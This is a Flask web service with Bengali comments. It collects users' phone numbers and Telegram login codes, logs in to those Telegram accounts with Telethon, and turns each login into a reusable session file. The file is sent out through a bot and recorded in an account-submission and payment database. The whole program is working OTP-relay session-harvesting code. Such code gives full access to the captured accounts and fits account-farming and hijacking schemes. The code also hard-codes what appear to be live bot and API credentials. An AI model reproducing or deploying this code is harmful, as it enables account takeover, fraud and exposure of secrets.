import asyncio
import os
import json
import sqlite3
import datetime
import requests
from flask import Flask, request, jsonify, render_template, g, send_from_directory
from telethon import TelegramClient
from telethon.errors import SessionPasswordNeededError, PhoneCodeInvalidError

# ================== কনফিগারেশন ==================
BOT_TOKEN = "8870375773:AAElRGPwz8NVmlpM1WRcEr6cHezJQPjqF1E"
API_ID = 36627513
API_HASH = "c5461e04757b48eaf49760dddb410f95"
ADMIN_USER_ID = 123456789          # আপনার টেলিগ্রাম আইডি দিন
SUPPORT_USER_ID = None
SECRET_ADMIN_KEY = "YourSuperSecretKey123"

ALLOWED_COUNTRIES = set()          # {"+880", "+91"} – অ্যাডমিন সেট করবেন
user_clients = {}
DATABASE = os.path.join(os.path.dirname(__file__), 'data.db')

app = Flask(__name__)
app.secret_key = 'flask-secret-key-change-this'

# ---------- ডাটাবেস ----------
def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
        db.row_factory = sqlite3.Row
    return db

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

def init_db():
    with app.app_context():
        db = get_db()
        db.execute('''CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            telegram_id INTEGER UNIQUE NOT NULL,
            username TEXT,
            join_date TEXT
        )''')
        db.execute('''CREATE TABLE IF NOT EXISTS accounts (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER REFERENCES users(id),
            phone TEXT NOT NULL,
            session_path TEXT,
            status TEXT DEFAULT 'pending',
            submitted_date TEXT,
            accepted_date TEXT,
            rejected_date TEXT,
            rejection_reason TEXT
        )''')
        db.execute('''CREATE TABLE IF NOT EXISTS payments (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER REFERENCES users(id),
            amount REAL,
            type TEXT,
            date TEXT
        )''')
        db.execute('''CREATE TABLE IF NOT EXISTS orders (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            open_orders INTEGER DEFAULT 0,
            capacity INTEGER DEFAULT 0,
            updated_at TEXT
        )''')
        if not db.execute('SELECT * FROM orders').fetchone():
            db.execute('INSERT INTO orders (open_orders, capacity, updated_at) VALUES (367, 6955526, datetime("now"))')
        db.commit()

init_db()

# ---------- হেল্পার ----------
def get_user(telegram_id):
    db = get_db()
    user = db.execute('SELECT * FROM users WHERE telegram_id = ?', (telegram_id,)).fetchone()
    if not user:
        cur = db.execute('INSERT INTO users (telegram_id, join_date) VALUES (?, datetime("now"))', (telegram_id,))
        db.commit()
        user = db.execute('SELECT * FROM users WHERE id = ?', (cur.lastrowid,)).fetchone()
    return user

def get_account_stats(user_id):
    db = get_db()
    total = db.execute('SELECT COUNT(*) FROM accounts WHERE user_id = ?', (user_id,)).fetchone()[0]
    pending = db.execute('SELECT COUNT(*) FROM accounts WHERE user_id = ? AND status = "pending"', (user_id,)).fetchone()[0]
    accepted = db.execute('SELECT COUNT(*) FROM accounts WHERE user_id = ? AND status = "accepted"', (user_id,)).fetchone()[0]
    rejected = db.execute('SELECT COUNT(*) FROM accounts WHERE user_id = ? AND status = "rejected"', (user_id,)).fetchone()[0]
    rate = (accepted / total * 100) if total > 0 else 0
    return {'total': total, 'pending': pending, 'accepted': accepted, 'rejected': rejected, 'rate': round(rate, 2)}

def get_period_counts(user_id, period='day'):
    db = get_db()
    if period == 'day':
        date_filter = "date(submitted_date) = date('now')"
    elif period == 'week':
        date_filter = "strftime('%W', submitted_date) = strftime('%W', 'now') AND strftime('%Y', submitted_date) = strftime('%Y', 'now')"
    elif period == 'month':
        date_filter = "strftime('%m', submitted_date) = strftime('%m', 'now') AND strftime('%Y', submitted_date) = strftime('%Y', 'now')"
    else:
        return 0
    count = db.execute(f'SELECT COUNT(*) FROM accounts WHERE user_id = ? AND {date_filter}', (user_id,)).fetchone()[0]
    return count

def is_country_allowed(phone: str) -> bool:
    if not ALLOWED_COUNTRIES:
        return True
    for code in ALLOWED_COUNTRIES:
        if phone.startswith(code):
            return True
    return False

# ---------- রুট ----------
@app.route('/')
def index():
    return render_template('index.html')

@app.route('/accounts')
def accounts_page():
    return render_template('accounts.html')

@app.route('/orders')
def orders_page():
    return render_template('orders.html')

@app.route('/payment')
def payment_page():
    return render_template('payment.html')

@app.route('/static/<path:path>')
def serve_static(path):
    return send_from_directory('static', path)

# ---------- API ----------
@app.route('/api/dashboard', methods=['GET'])
def dashboard_data():
    tg_id = request.args.get('user_id')
    if not tg_id:
        return jsonify({'error': 'User ID required'}), 400
    try:
        tg_id = int(tg_id)
    except:
        return jsonify({'error': 'Invalid User ID'}), 400

    user = get_user(tg_id)
    stats = get_account_stats(user['id'])
    today = get_period_counts(user['id'], 'day')
    week = get_period_counts(user['id'], 'week')
    month = get_period_counts(user['id'], 'month')
    order_row = get_db().execute('SELECT * FROM orders LIMIT 1').fetchone()

    return jsonify({
        'balance': 0,
        'pending_payment': 2.5,
        'income': 0,
        'today_accounts': today,
        'week_accounts': week,
        'month_accounts': month,
        'stats': stats,
        'orders': {
            'open_orders': order_row['open_orders'] if order_row else 0,
            'capacity': order_row['capacity'] if order_row else 0
        }
    })

@app.route('/api/accounts', methods=['GET'])
def get_accounts():
    tg_id = request.args.get('user_id')
    if not tg_id:
        return jsonify({'error': 'User ID required'}), 400
    user = get_user(int(tg_id))
    db = get_db()
    rows = db.execute('SELECT phone, status, submitted_date FROM accounts WHERE user_id = ? ORDER BY id DESC', (user['id'],)).fetchall()
    return jsonify([dict(row) for row in rows])

@app.route('/api/init', methods=['POST'])
def init_session():
    data = request.json
    phone = data.get('phone')
    user_id = data.get('user_id')
    if not phone or not user_id:
        return jsonify({'status': 'error', 'message': 'Phone and user_id required'})

    if not is_country_allowed(phone):
        return jsonify({
            'status': 'country_blocked',
            'allowed': ', '.join(ALLOWED_COUNTRIES) if ALLOWED_COUNTRIES else 'ALL'
        })

    try:
        client = TelegramClient(f"temp_{user_id}", API_ID, API_HASH)
        loop = asyncio.new_event_loop()
        asyncio.set_event_loop(loop)
        loop.run_until_complete(client.connect())
        loop.run_until_complete(client.send_code_request(phone))
        user_clients[user_id] = client
        return jsonify({'status': 'ok'})
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)})

@app.route('/api/verify', methods=['POST'])
def verify_otp():
    data = request.json
    phone = data.get('phone')
    otp = data.get('otp')
    user_id = data.get('user_id')

    if not phone or not otp or not user_id:
        return jsonify({'status': 'error', 'message': 'Phone, OTP and user_id required'})

    client = user_clients.get(user_id)
    if not client:
        return jsonify({'status': 'error', 'message': 'Session expired. Please start over.'})

    try:
        loop = asyncio.new_event_loop()
        asyncio.set_event_loop(loop)

        try:
            loop.run_until_complete(client.sign_in(phone=phone, code=otp))
        except SessionPasswordNeededError:
            loop.run_until_complete(client.disconnect())
            user_clients.pop(user_id, None)
            return jsonify({'status': '2fa_error'})
        except PhoneCodeInvalidError:
            return jsonify({'status': 'error', 'message': 'Invalid OTP. Try again.'})

        session_name = f"session_{user_id}_{phone.replace('+','')}"
        loop.run_until_complete(client.disconnect())
        final_client = TelegramClient(session_name, API_ID, API_HASH)
        loop.run_until_complete(final_client.connect())
        if not loop.run_until_complete(final_client.is_user_authorized()):
            loop.run_until_complete(final_client.start(phone=phone))
        loop.run_until_complete(final_client.disconnect())

        file_path = f"{session_name}.session"
        url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendDocument"
        with open(file_path, 'rb') as f:
            files = {'document': (file_path, f, 'application/octet-stream')}
            data_payload = {'chat_id': user_id, 'caption': '✅ Your session file is ready! Keep it private.'}
            resp = requests.post(url, data=data_payload, files=files)

        db = get_db()
        user = get_user(int(user_id))
        db.execute('INSERT INTO accounts (user_id, phone, session_path, status, submitted_date) VALUES (?, ?, ?, ?, datetime("now"))',
                   (user['id'], phone, file_path, 'pending'))
        db.commit()

        os.remove(file_path)
        user_clients.pop(user_id, None)

        if resp.status_code == 200:
            return jsonify({'status': 'ok'})
        else:
            return jsonify({'status': 'error', 'message': 'File send failed via bot.'})

    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)})

# ---------- অ্যাডমিন API ----------
@app.route('/admin/set_countries', methods=['POST'])
def set_countries():
    data = request.json
    if data.get('admin_key') != SECRET_ADMIN_KEY:
        return jsonify({'status': 'error', 'message': 'Unauthorized'}), 403
    global ALLOWED_COUNTRIES
    codes = data.get('countries', [])
    ALLOWED_COUNTRIES = set(codes)
    return jsonify({'status': 'ok', 'allowed': list(ALLOWED_COUNTRIES)})

@app.route('/admin/set_support', methods=['POST'])
def set_support():
    data = request.json
    if data.get('admin_key') != SECRET_ADMIN_KEY:
        return jsonify({'status': 'error', 'message': 'Unauthorized'}), 403
    global SUPPORT_USER_ID
    SUPPORT_USER_ID = data.get('support_id')
    return jsonify({'status': 'ok', 'support_id': SUPPORT_USER_ID})

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False, threaded=True)